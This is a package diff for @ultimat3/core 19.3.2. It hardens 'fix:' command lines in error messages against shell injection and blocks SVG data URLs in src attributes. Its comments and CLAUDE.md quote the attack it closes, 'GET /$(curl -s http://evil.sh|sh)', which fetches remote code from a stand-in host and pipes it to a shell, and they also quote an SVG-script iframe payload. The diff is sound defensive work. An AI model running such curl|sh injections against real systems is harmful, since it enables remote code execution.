@ultimat3/core 19.2.0 → 19.3.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CLAUDE.md +12 -0
- package/package.json +2 -2
- package/src/error-render.ts +45 -0
- package/src/exports/error-contract.ts +2 -0
- package/src/index.ts +2 -0
- package/src/metrics.ts +11 -3
- package/src/safe-url.ts +14 -1
- package/src/secrets-errors.ts +25 -4
package/CLAUDE.md
CHANGED
|
@@ -8,6 +8,8 @@ is a change to every package.
|
|
|
8
8
|
| Deps | none (`bun-types` only) |
|
|
9
9
|
| Errors | subclass `UltimateError`; never `throw new Error` |
|
|
10
10
|
| Values in a message | `renderCauseValue()` / `renderFixLiteral()`; never raw `JSON.stringify`, `String()` or `${…}` on an `unknown` |
|
|
11
|
+
| A value in a `fix:` a shell READS | `renderFixShellArg(value, placeholder)` — `renderFixLiteral` answers DOUBLE quotes, in which `$(…)`, `` ` `` and `${…}` are still live, so it is the wrong tool for a command position and cannot be made right. An ordinary path or URL passes through; anything a shell would read becomes the placeholder. Reproduced: an unauthenticated `GET /$(curl -s http://evil.sh\|sh)` rendered that substitution into `x g route …`, the line the framework tells its reader to paste |
|
|
12
|
+
| Whether that value TRAVELS | `isFixShellSafe(value)` — the predicate `renderFixShellArg` is itself built on, never a second copy of the rule. A placeholder is honest text and it is NOT a runnable command: `curl -sS -m 5 <the provider jwks_uri>` is read by a shell as a redirection from a file called `the`, and `rm -f <the profile directory>/SingletonLock` deletes nothing it names. A `fix:` whose value sits mid-command asks this first and emits PROSE when the answer is no — `@ultimat3/auth`'s `jwks.ts` and `@ultimat3/scraping`'s `profileLocked` are the worked examples |
|
|
11
13
|
| Rendering the 3-line format | nothing to remember — `UltimateError`'s CONSTRUCTOR escapes `code`, `title`, `cause`, `fix` and `docs` with `singleLine()`. Call it yourself only when you render a shape this class never built, e.g. a `Finding` |
|
|
12
14
|
| A value a CALLER supplied | `describeValue()` — shape, never content. `renderCauseValue` is safe against throwing, not against leaking |
|
|
13
15
|
| Reading a caught value | `renderThrowable()` / `isThrownError()` / `stringField()`; never `error.message`, `error instanceof Error` or `typeof error.code === 'string'` directly — the probe throws before the renderer runs |
|
|
@@ -164,6 +166,16 @@ the spelling the cache keys on — which is why the screen lives in this file an
|
|
|
164
166
|
code has one declaration: `X_LOCALE_INVALID` left `TIME_ERROR_CODES` in the same change, or
|
|
165
167
|
`registerErrorCodes` would raise `X_ERROR_CODE_DUPLICATE` the moment both packages loaded.
|
|
166
168
|
|
|
169
|
+
`secrets-errors.ts`'s four command lines are screened, `As of 2026-09-06`: `x secrets` takes the
|
|
170
|
+
app root, so `at` and `keyPath` are `join(root, …)` — data — and three of them lead with
|
|
171
|
+
`git checkout --` while `X_SECRETS_KEY_MISSING` puts a path INSIDE a `$(cat …)`, where a second
|
|
172
|
+
`$(…)` substitutes before `cat` runs. The path goes through `renderFixShellArg`; the variable name
|
|
173
|
+
is matched against `/^[A-Z_][A-Z0-9_]*$/` and a non-name degrades the whole line to prose, because
|
|
174
|
+
`export PATH; curl … | sh=` has no quoted form that makes it an assignment. `X_SECRETS_KEY_MISMATCH`
|
|
175
|
+
carries no key id in its command at all: the id is read out of the envelope of a file on disk, so a
|
|
176
|
+
newline in it ends the trailing `#` comment and appends a second command — the `cause` and `meta`
|
|
177
|
+
name it, and the `fix:` points at the cause.
|
|
178
|
+
|
|
167
179
|
`secrets-errors.ts` registers its seven codes through `registerErrorCodes()` rather than joining
|
|
168
180
|
`CORE_CODE_TITLES` — the codes and the module that throws them ship together, and `registerErrorCodes`
|
|
169
181
|
is the one mechanism that raises `X_ERROR_CODE_DUPLICATE` if anything else claims one. Consequence
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@ultimat3/core",
|
|
3
|
-
"version": "19.2
|
|
3
|
+
"version": "19.3.2",
|
|
4
4
|
"description": "Ultimate's foundation: errors, context, env, config, clock, ids, logging, telemetry, lifecycle",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"type": "module",
|
|
@@ -37,6 +37,6 @@
|
|
|
37
37
|
"test": "bun test"
|
|
38
38
|
},
|
|
39
39
|
"dependencies": {
|
|
40
|
-
"@ultimat3/schema": "19.2
|
|
40
|
+
"@ultimat3/schema": "19.3.2"
|
|
41
41
|
}
|
|
42
42
|
}
|
package/src/error-render.ts
CHANGED
|
@@ -182,6 +182,51 @@ export function renderFixLiteral(value: unknown, placeholder: string): string {
|
|
|
182
182
|
return typeof value === 'string' ? JSON.stringify(value) : placeholder;
|
|
183
183
|
}
|
|
184
184
|
|
|
185
|
+
/**
|
|
186
|
+
* A shell-inert argument: alphanumerics and the punctuation a URL, a route path and an id are
|
|
187
|
+
* built from. Deliberately a CLOSED set rather than a list of metacharacters to reject — a
|
|
188
|
+
* denylist has to be right about every character every shell will ever read, and this only has to
|
|
189
|
+
* be right about the ones a fix line needs. No space, so a value is always one word; no leading
|
|
190
|
+
* `-` or `~`, because an argument starting with either is an OPTION or a home directory rather
|
|
191
|
+
* than the value it reads as.
|
|
192
|
+
*/
|
|
193
|
+
const SHELL_ARG_SAFE = /^[A-Za-z0-9/][A-Za-z0-9._:/@=+,%~-]*$/;
|
|
194
|
+
|
|
195
|
+
/**
|
|
196
|
+
* The same value where the text is read by a SHELL. A `fix:` is a command meant to be pasted, so a
|
|
197
|
+
* value interpolated into a command POSITION is a value that runs: `x g route /$(curl -s
|
|
198
|
+
* http://evil.sh|sh)` was the rendered fix for an unauthenticated `GET` against any unrouted path.
|
|
199
|
+
*
|
|
200
|
+
* **`renderFixLiteral` does not cover this and cannot be made to.** It answers `JSON.stringify`,
|
|
201
|
+
* i.e. DOUBLE quotes, in which `$(…)`, `` ` `` and `${…}` are all still live in every POSIX shell —
|
|
202
|
+
* it exists for a value landing in JS or JSON source, where quoting IS the escape. Here there is
|
|
203
|
+
* nothing to escape into, so the value either survives being read verbatim or it does not travel:
|
|
204
|
+
* a placeholder naming what the reader has to substitute keeps the line honest, and the `cause`
|
|
205
|
+
* beside it already carries the value through `renderCauseValue`.
|
|
206
|
+
*
|
|
207
|
+
* Bounded for `renderCauseValue`'s reason — a command with half a megabyte of path in it is not a
|
|
208
|
+
* command anyone runs — and the bound is the same one.
|
|
209
|
+
*/
|
|
210
|
+
export function renderFixShellArg(value: unknown, placeholder: string): string {
|
|
211
|
+
return isFixShellSafe(value) ? value : placeholder;
|
|
212
|
+
}
|
|
213
|
+
|
|
214
|
+
/**
|
|
215
|
+
* Whether `renderFixShellArg` will carry this value VERBATIM — the question a `fix:` has to ask
|
|
216
|
+
* before it builds a command around one.
|
|
217
|
+
*
|
|
218
|
+
* A placeholder is honest text and it is not a runnable command: `curl -sS -m 5 <the provider
|
|
219
|
+
* jwks_uri>` is READ BY A SHELL as a redirection from a file called `the`, so the one instruction
|
|
220
|
+
* the reader was given fails, which is axiom 4 inverted. A call site that cannot degrade — a path
|
|
221
|
+
* mid-command, an `rm` operand — asks this first and emits PROSE instead of a command when the
|
|
222
|
+
* answer is no. The predicate is the one `renderFixShellArg` itself is built on, never a second
|
|
223
|
+
* copy of the rule: the two can then not disagree about what travels.
|
|
224
|
+
*/
|
|
225
|
+
export function isFixShellSafe(value: unknown): value is string {
|
|
226
|
+
if (typeof value !== 'string' || value.length > MAX_RENDERED_LENGTH) return false;
|
|
227
|
+
return SHELL_ARG_SAFE.test(value);
|
|
228
|
+
}
|
|
229
|
+
|
|
185
230
|
/** `JSON.stringify` with its throw removed: did the value survive being serialised at all? */
|
|
186
231
|
const canRender = (value: unknown): boolean => {
|
|
187
232
|
try {
|
package/src/index.ts
CHANGED
|
@@ -174,6 +174,7 @@ export {
|
|
|
174
174
|
hasErrorCode,
|
|
175
175
|
InternalError,
|
|
176
176
|
isErrorRetry,
|
|
177
|
+
isFixShellSafe,
|
|
177
178
|
isThrownError,
|
|
178
179
|
isUltimateError,
|
|
179
180
|
listErrorCodes,
|
|
@@ -185,6 +186,7 @@ export {
|
|
|
185
186
|
registeredErrorRetry,
|
|
186
187
|
renderCauseValue,
|
|
187
188
|
renderFixLiteral,
|
|
189
|
+
renderFixShellArg,
|
|
188
190
|
renderThrowable,
|
|
189
191
|
resetErrorCodes,
|
|
190
192
|
resetErrorRetry,
|
package/src/metrics.ts
CHANGED
|
@@ -391,13 +391,20 @@ export function counter(name: string, options?: InstrumentOptions): Counter {
|
|
|
391
391
|
export function gauge(name: string, options?: GaugeOptions): Gauge {
|
|
392
392
|
const instrument = declare(name, 'gauge', options ?? {});
|
|
393
393
|
return {
|
|
394
|
+
// The screen runs BEFORE the series is resolved, the order `counter.add` already had: a
|
|
395
|
+
// refused value must cost nothing, and `seriesFor` is not a read — it MINTS a series, one of
|
|
396
|
+
// a bounded number, keeps it for the life of the process and can trip the cardinality
|
|
397
|
+
// ceiling. `a.b += finite(…)` evaluates the reference first, so the two cannot be folded
|
|
398
|
+
// back into one expression.
|
|
394
399
|
record(value, attributes = {}): void {
|
|
395
400
|
if (!enabled) return;
|
|
396
|
-
|
|
401
|
+
const observed = finite(name, value);
|
|
402
|
+
seriesFor(instrument, attributes).value = observed;
|
|
397
403
|
},
|
|
398
404
|
add(delta, attributes = {}): void {
|
|
399
405
|
if (!enabled) return;
|
|
400
|
-
|
|
406
|
+
const observed = finite(name, delta);
|
|
407
|
+
seriesFor(instrument, attributes).value += observed;
|
|
401
408
|
},
|
|
402
409
|
};
|
|
403
410
|
}
|
|
@@ -407,8 +414,9 @@ export function histogram(name: string, options?: HistogramOptions): Histogram {
|
|
|
407
414
|
return {
|
|
408
415
|
record(value, attributes = {}): void {
|
|
409
416
|
if (!enabled) return;
|
|
410
|
-
|
|
417
|
+
// `finite` first, for `gauge`'s reason above.
|
|
411
418
|
const observed = finite(name, value);
|
|
419
|
+
const series = seriesFor(instrument, attributes);
|
|
412
420
|
series.value += observed;
|
|
413
421
|
series.count += 1;
|
|
414
422
|
series.min = Math.min(series.min, observed);
|
package/src/safe-url.ts
CHANGED
|
@@ -17,6 +17,9 @@ const SAFE_SCHEMES: readonly string[] = ['http:', 'https:', 'mailto:', 'tel:', '
|
|
|
17
17
|
|
|
18
18
|
const SCHEME = /^[a-zA-Z][a-zA-Z0-9+.-]*:/;
|
|
19
19
|
|
|
20
|
+
/** The prefix the `src` exemption is written against — see `safeUrl`'s last branch. */
|
|
21
|
+
const DATA_IMAGE = 'data:image/';
|
|
22
|
+
|
|
20
23
|
/**
|
|
21
24
|
* The value to emit, or `null` when the attribute must not be emitted at all. An anchor with no
|
|
22
25
|
* `href` is inert and still renders its text, which is strictly better than a live one nobody
|
|
@@ -45,6 +48,16 @@ export function safeUrl(value: string, attribute: string): string | null {
|
|
|
45
48
|
// The one data URL kept, and only where the bytes are RENDERED rather than navigated to: the
|
|
46
49
|
// framework's own blur placeholder is a `data:image/webp`. In an `href` a data URL is a document
|
|
47
50
|
// that runs on nothing but is still a phishing surface, so it is refused there.
|
|
48
|
-
|
|
51
|
+
//
|
|
52
|
+
// `image/svg+xml` is carved back OUT of that exemption, because an SVG is not an image the way
|
|
53
|
+
// the other four are — it is a script document. `@ultimat3/render` routes EVERY `src` through
|
|
54
|
+
// here, not only an `<img>`'s, so `<iframe src="data:image/svg+xml,<svg><script>…">` executed
|
|
55
|
+
// the identical string this function refuses one attribute over in `href`.
|
|
56
|
+
// `@ultimat3/storage` deletes the same type from its default upload allowlist for the same
|
|
57
|
+
// reason. Read off `stripped`, never the raw value: a browser deletes the control characters
|
|
58
|
+
// before it parses the media type too.
|
|
59
|
+
if (attribute === 'src' && stripped.slice(0, DATA_IMAGE.length).toLowerCase() === DATA_IMAGE) {
|
|
60
|
+
return stripped.slice(DATA_IMAGE.length).toLowerCase().startsWith('svg') ? null : value;
|
|
61
|
+
}
|
|
49
62
|
return null;
|
|
50
63
|
}
|
package/src/secrets-errors.ts
CHANGED
|
@@ -4,6 +4,7 @@
|
|
|
4
4
|
// command that undoes it. No error here ever carries a key, a ciphertext or a decrypted value.
|
|
5
5
|
|
|
6
6
|
import { registerErrorCodes } from './error-codes';
|
|
7
|
+
import { renderFixShellArg } from './error-render';
|
|
7
8
|
import { UltimateError } from './errors';
|
|
8
9
|
|
|
9
10
|
/** Codes `@ultimat3/core` owns for the encrypted-secrets file. */
|
|
@@ -38,6 +39,21 @@ registerErrorCodes(
|
|
|
38
39
|
),
|
|
39
40
|
);
|
|
40
41
|
|
|
42
|
+
/**
|
|
43
|
+
* Where a path lands in one of these commands. Every one of them is meant to be PASTED, and the
|
|
44
|
+
* path is data: `x secrets` takes the app root, so `at` and `keyPath` are `join(root, …)`. The
|
|
45
|
+
* `X_SECRETS_KEY_MISSING` line is the sharpest of them — the value sits inside a `$(cat …)`, so a
|
|
46
|
+
* second `$(…)` in it substitutes before `cat` is reached at all.
|
|
47
|
+
*/
|
|
48
|
+
const SECRETS_FILE_PLACEHOLDER = '<the secrets file the cause names>';
|
|
49
|
+
|
|
50
|
+
/**
|
|
51
|
+
* A variable name, and nothing else. `export ${name}=…` puts the name in a COMMAND position, where
|
|
52
|
+
* `PATH; curl … | sh` is two commands rather than a variable nobody declared — and there is no
|
|
53
|
+
* quoting that makes a non-name assignable, so the line degrades to prose instead.
|
|
54
|
+
*/
|
|
55
|
+
const ENV_VAR_NAME = /^[A-Z_][A-Z0-9_]*$/;
|
|
56
|
+
|
|
41
57
|
/**
|
|
42
58
|
* No key in the environment and none on disk, while an encrypted file exists. Deliberately fatal
|
|
43
59
|
* rather than a warning: booting without the secrets a deploy was configured with produces an app
|
|
@@ -48,7 +64,9 @@ export class SecretsKeyMissingError extends UltimateError {
|
|
|
48
64
|
super({
|
|
49
65
|
code: 'X_SECRETS_KEY_MISSING',
|
|
50
66
|
cause: `${input.envVar} is unset and ${input.keyPath} does not exist, so nothing can open the encrypted secrets`,
|
|
51
|
-
fix:
|
|
67
|
+
fix: ENV_VAR_NAME.test(input.envVar)
|
|
68
|
+
? `export ${input.envVar}="$(cat ${renderFixShellArg(input.keyPath, '<the key file the cause names>')})" # in a repo that has no key yet: x secrets init`
|
|
69
|
+
: "set the variable this error's cause names to the contents of the key file beside it, in whatever way this shell spells an assignment — in a repo that has no key yet: x secrets init",
|
|
52
70
|
meta: { keyPath: input.keyPath },
|
|
53
71
|
});
|
|
54
72
|
}
|
|
@@ -76,7 +94,10 @@ export class SecretsKeyMismatchError extends UltimateError {
|
|
|
76
94
|
super({
|
|
77
95
|
code: 'X_SECRETS_KEY_MISMATCH',
|
|
78
96
|
cause: `${input.at} was sealed with master key ${input.sealedWith} and ${input.keyAt} holds ${input.found}`,
|
|
79
|
-
|
|
97
|
+
// The key id stays in `cause` and in `meta`, and never in the COMMAND: it is read out of the
|
|
98
|
+
// envelope of a file on disk, so it is text this process did not write, and a `\n` in it ends
|
|
99
|
+
// the trailing `#` comment and appends whatever follows as a second command to run.
|
|
100
|
+
fix: `git checkout -- ${renderFixShellArg(input.at, SECRETS_FILE_PLACEHOLDER)} # or point ULTIMATE_SECRETS_KEY at the key whose id the cause names`,
|
|
80
101
|
meta: { at: input.at, sealedWith: input.sealedWith, found: input.found },
|
|
81
102
|
});
|
|
82
103
|
}
|
|
@@ -104,7 +125,7 @@ export class SecretsFileInvalidError extends UltimateError {
|
|
|
104
125
|
super({
|
|
105
126
|
code: 'X_SECRETS_FILE_INVALID',
|
|
106
127
|
cause: `${input.at} ${input.reason}`,
|
|
107
|
-
fix: `git checkout -- ${input.at} # this file is written only by x secrets, never by hand`,
|
|
128
|
+
fix: `git checkout -- ${renderFixShellArg(input.at, SECRETS_FILE_PLACEHOLDER)} # this file is written only by x secrets, never by hand`,
|
|
108
129
|
meta: { at: input.at },
|
|
109
130
|
});
|
|
110
131
|
}
|
|
@@ -120,7 +141,7 @@ export class SecretsTamperedError extends UltimateError {
|
|
|
120
141
|
super({
|
|
121
142
|
code: 'X_SECRETS_TAMPERED',
|
|
122
143
|
cause: `the AES-256-GCM authentication tag rejected ${input.at}: the ciphertext or its header changed after it was sealed`,
|
|
123
|
-
fix: `git checkout -- ${input.at} # then confirm the restored file opens: x secrets show --json`,
|
|
144
|
+
fix: `git checkout -- ${renderFixShellArg(input.at, SECRETS_FILE_PLACEHOLDER)} # then confirm the restored file opens: x secrets show --json`,
|
|
124
145
|
meta: { at: input.at },
|
|
125
146
|
});
|
|
126
147
|
}
|